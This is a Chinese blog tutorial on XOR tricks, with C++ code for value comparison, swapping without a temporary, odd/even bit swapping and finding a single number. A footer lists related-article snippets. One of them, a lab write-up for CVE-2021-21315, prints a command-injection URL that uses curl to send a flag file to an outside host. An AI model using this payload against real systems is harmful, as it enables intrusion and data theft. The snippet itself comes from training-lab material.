了解異或的好處和用途

?1.什么是異或?

異或:對于二進制,相同為0 不同為11 ⊕ 1 = 00 ⊕ 0 = 01 ⊕ 0 = 10 ⊕ 1 = 1 

2.異或的好處??

    異或的好處?1.快速比較兩個值 2.xor a a例如 a = 3 011xor 0110003.可以使用 異或 來使某些特定的位翻轉【原因】① 0 與 1 異或為 1 ② 1 與 1 異或為 0說明了 0或者1 只要與 1 做異或,得到的會是原值的相反值【例子】翻轉 1010 0001 的第6位,可以與0010 0000 進行異或運算1010 0001xor 0010 00001000 00014.使用 異或 來判斷一個二進制中 1 的數量是奇數還是偶數【例子】求 1010 0001中 1 的數量是奇數還是偶數1 ^ 0 ^ 1 ^ 0 ^ 0 ^ 0 ^ 0 ^ 1 = 1,結果為1就是奇數個1,結果為0就是偶數個15.校驗和恢復6.交換兩個值,在不使用其他空間的情況下a = a ^ b;b = a ^ b;a = a ^ b;7.二進制交換奇偶位① 取出所有的偶數位 ---- 與1010 1010 1010...相與,(用16進制表示0xaaaaaaaa)1的作用為偶數位保留,0的作用為奇數位全置0,將偶數位右移一位,偶數位到奇數位② 取出所有的奇數位——與0101 0101 0101……相與,(用16進制表示為0x55555555)奇數位保留,偶數位全為0,將奇數位左移一位,奇數位到偶數位③ 前兩步所得結果^(異或)操作——合并【例子】1001 交換奇偶位變為 01101001          1001& 1010        & 01011000          0001>> 0100       << 00100100xor 00100110偶數位右移一位,這時候偶數位就變成了奇數位,奇數位左移一位,這時候奇數位就變成了偶數位,再將他們按位或就交換完畢8.只出現一次的數給定一個非空整數數組,除了某個元素只出現一次以外,其余每個元素均出現兩次。找出那個只出現了一次的元素【原因】因為一個數出現兩次就會抵消為0

#include <iostream>
#include <vector>
using namespace std;// 1.快速比較兩個值 
int test1(int a,int b) {if((a^b)== 0) return 1;else return 0;
}// 6.交換兩個值,在不使用其他空間的情況下
void swap(int &a,int &b) {// a = 3; b = 2;// a = 011 ^ 010 ==> 001 // b = 001 ^ 010 ==> 011 => 3// a = 001 ^ 011 ==> 010 => 2a = a ^ b;b = a ^ b;a = a ^ b;
}// 7.二進制交換奇偶位
int swapJiOu(int num) {int ou = num & 0xaaaaaaaa;int ji = num & 0x55555555;return (ou>>1)^(ji<<1);
}// 8.只出現一次的數 
int singleNumber(vector<int> arr) {int single = 0;for(int num : arr) {single ^= num;}return single;
}int main() {int a = 3;int b = 2;if(test1(a,b))cout<<"兩值相等"<<endl;else cout<<"兩值不相等"<<endl;cout<<"a的值是: " << a <<" ,b的值是: " << b <<endl;swap(a,b);cout<<"a的值是: " << a <<" ,b的值是: " << b <<endl;cout<<swapJiOu(9)<<endl;vector<int> arr={4,1,2,1,2};cout << singleNumber(arr) <<endl;//      0100          4//  xor 0001          1//---------------//      0101           //  xor 0010          2          //---------------//      0111          //  xor 0001          1//---------------//      0110         //  xor 0010          2          //      0100          4return 0;
}

打印如下:?

heheda@heheda:~/Linux/內存對齊$ g++ xor.cpp -o app
heheda@heheda:~/Linux/內存對齊$ ./app
兩值不相等
a的值是: 3 ,b的值是: 2
a的值是: 2 ,b的值是: 3
6
4

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/39029.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/39029.shtml
英文地址,請注明出處:http://en.pswp.cn/news/39029.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

移遠RM500U-CN模塊直連嵌入式ubuntu實現撥號上網

目錄 1 平臺&#xff1a; 2 需要準備的資料 3 參考文檔 4 編譯環境與驅動移植 4.1 內核驅動添加廠家ID和產品ID 4. 2.添加零包處理 4.3 增加復位恢復機制 4.4 增加批量輸出 批量輸出 URB 的數量和容量 的數量和容量 4.5 內核配置與編譯 5 QM500U-CN撥號&#xff08;在開…

Ubuntu和centos版本有哪些區別

Ubuntu和CentOS是兩個非常流行的Linux發行版&#xff0c;它們在一些方面有一些區別&#xff0c;如下所示&#xff1a; CentOS的版本發布周期相對較長&#xff0c;主要是因為它是基于RedHatEnterpriseLinux(RHEL)的。這意味著在RHEL發布后才能推出對應的CentOS版本。而Ubuntu則在…

春秋云鏡 CVE-2021-21315

春秋云鏡 CVE-2021-21315 systeminformation存在命令注入 靶標介紹 systeminformation是一個簡單的查詢系統和OS信息包。 啟動場景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登錄ceye.io平臺&#xff0c;curl請求 http://eci-2zed871sr7xrdjb…

Lombok的使用及注解含義

文章目錄 一、簡介二、如何使用2.1、在IDEA中安裝Lombok插件2.2、添加maven依賴 三、常用注解3.1、Getter / Setter3.2、ToString3.3、NoArgsConstructor / AllArgsConstructor3.4、EqualsAndHashCode3.5、Data3.6、Value3.7、Accessors3.7.1、Accessors(chain true)3.7.2、Ac…

JavaScript 中常用簡寫技巧總結

平時我們寫代碼時最高級的境界是自己寫的東西別人看不懂&#xff01;哈哈哈&#xff01;分享一些自己常用的js簡寫技巧&#xff0c;長期更新&#xff0c;會著重挑選一些實用的簡寫技巧&#xff0c;使自己的代碼更簡潔優雅~ 這里只會收集一些大多數人不知道的用法&#xff0c;但…

MySQL新的版本發布模型 - 創新版本和長支持版本

2023年7月18日&#xff0c;MySQL發布了最新數據庫服務器版本8.1.0&#xff0c;其中變化最大的是MySQL采用了新的版本發布模型。本文是官方博客的中文摘抄和個人理解&#xff0c;原文更精彩: https://blogs.oracle.com/mysql/post/introducing-mysql-innovation-and-longterm-su…

網絡原理(JavaEE初階系列11)

目錄 前言&#xff1a; 1.網絡原理的理解 2.應用層 2.1自定義協議的約定 2.1.1確定要傳輸的信息 2.1.2確定數據的格式 3.傳輸層 3.1UDP 3.1.1UDP報文格式 3.2TCP 3.2.1確認應答 3.2.2超時重傳 3.2.3連接管理 3.2.3.1三次握手 3.2.3.2四次揮手 3.2.4滑動窗口 3.…

bigemap如何添加mapbox地圖?

第一步 打開瀏覽器&#xff0c;找到你要訪問的地圖的URL地址&#xff0c;并且確認可以正常在瀏覽器中訪問&#xff1b;瀏覽器中不能訪問&#xff0c;同樣也不能在軟件中訪問。 以下為常用地圖源地址&#xff1a; 天地圖&#xff1a; http://map.tianditu.gov.cn 包含&…

【SA8295P 源碼分析】75 - QNX GVM Secpol 安全策略文件 gvm_la.txt 內容分析解讀

【SA8295P 源碼分析】75 - QNX GVM Secpol 安全策略文件 gvm_la.txt 內容分析解讀 第一部分、gvm_la_t secpol 類型定義第二部分、gvm_la_t 內存透傳相關配置第三部分、gvm_la_t 中斷透傳相關配置第四部分、gvm_la_t 類型的進程允許通信的所有 secpol 類型系列文章匯總見:《【…

字符串的綜合練習

1、練習-轉換羅馬數字 鍵盤錄入一個字符串 要求1&#xff1a;長度為小于等于9 要求2&#xff1a;只能是數字 將內容變成羅馬數字 下面是阿拉伯數字跟羅馬數字的對比關系&#xff1a; Ⅰ-1 Ⅱ-2 Ⅲ-3 Ⅳ-4 Ⅴ-5 Ⅵ-6 Ⅶ-7 Ⅷ-8 Ⅸ-9 注意點&#xff1a;羅馬數字里面沒有0的&…

51單片機的管腳介紹

圖文介紹 純文字說明 單片機管腳相關結構及其作用如下 電源正極引腳 一般接5V電源&#xff0c;為單片機提供正常工作時的電壓。 電源負極引腳 接地。然后才開始工作。 時鐘引腳 18、19腳為時鐘引腳&#xff08;XTAL2、XTAL1&#xff09;。單片機內部有大量的數字電路&a…

SringBoot-響應

響應數據 如何加載響應數據呢 其實在SpringBoot&#xff0c;已經有名為RessponseBody的方法注解為我們提供的響應的方法&#xff0c;他的作用是將方法返回值直接響應&#xff0c;如果返回值類型為實體對象/集合&#xff0c;則會轉換為JSON格式響應。 而RestController已經在內…

Java真實面試題,offer已到手

關于學習 在黑馬程序員剛剛開始的時候學習盡頭非常足&#xff0c;到后面逐漸失去了一些興趣&#xff0c;以至于后面上課會出現走神等問題&#xff0c;但是畢業時后悔晚矣。等到開始學習項目一的時候&#xff0c;思路總會比別人慢一些&#xff0c;不看講義寫不出來代碼。 建議…

Lie group 專題:Lie 群

Lie group 專題&#xff1a;Lie 群 流形 流形的定義 一個m維流形是滿足以下條件的集合M&#xff1a;存在可數多個稱為坐標卡&#xff08;圖集&#xff09;的子集合族.以及映到的連通開子集上的一對一映射&#xff0c;,稱為局部坐標映射&#xff0c;滿足以下條件 坐標卡覆蓋M…

【Sklearn】基于多層感知器算法的數據分類預測(Excel可直接替換數據)

【Sklearn】基于多層感知器算法的數據分類預測(Excel可直接替換數據) 1.模型原理2.模型參數3.文件結構4.Excel數據5.下載地址6.完整代碼7.運行結果1.模型原理 多層感知器(Multilayer Perceptron,MLP)是一種前饋神經網絡,用于解決分類和回歸問題。它包含輸入層、若干個隱…

【數學建模】--灰色關聯分析

系統分析: 一般的抽象系統&#xff0c;如社會系統&#xff0c;經濟系統&#xff0c;農業系統&#xff0c;生態系統&#xff0c;教育系統等都包含有許多種因素&#xff0c;多種因素共同作用的結果決定了該系統的發展態勢。人們常常希望知道在眾多的因素中&#xff0c;哪些是主要…

leetcode 面試題 02.05 鏈表求和

?? 題目描述 &#x1f31f; leetcode鏈接&#xff1a;面試題 02.05 鏈表求和 ps&#xff1a; 首先定義一個頭尾指針 head 、tail&#xff0c;這里的 tail 是方便我們尾插&#xff0c;每次不需要遍歷找尾&#xff0c;由于這些數是反向存在的&#xff0c;所以我們直接加起來若…

深入理解設計模式-行為型之觀察者

概述 觀察者模式&#xff08;Observer Pattern&#xff09;是一種行為型設計模式&#xff0c;它定義了一種一對多的依賴關系&#xff0c;讓多個觀察者對象同時監聽一個主題對象&#xff0c;當主題對象發生變化時&#xff0c;所有依賴于它的觀察者對象都會得到通知并更新。 在…

如何安裝Python?

如何安裝Python&#xff1f; 安裝Python非常簡單&#xff0c;讓我們一步步來進行。 1. 訪問官方網站 首先&#xff0c;您需要訪問Python官方網站&#xff08;https://www.python.org/&#xff09;。在首頁上&#xff0c;您會看到一個大大的「Downloads」按鈕&#xff0c;點擊…

【Redis實踐篇】使用Redisson 優雅實現項目實踐過程中的5種場景

文章目錄 1.前言2.使用方式1. 添加Redisson依賴&#xff1a;2. 配置Redis連接信息3. 使用場景3.1. 分布式鎖3.2. 限流器&#xff08;Rate Limiter&#xff09;3.3. 可過期的對象&#xff08;Expirable Object&#xff09;3.4. 信號量&#xff08;Semaphore&#xff09;3.5. 分布…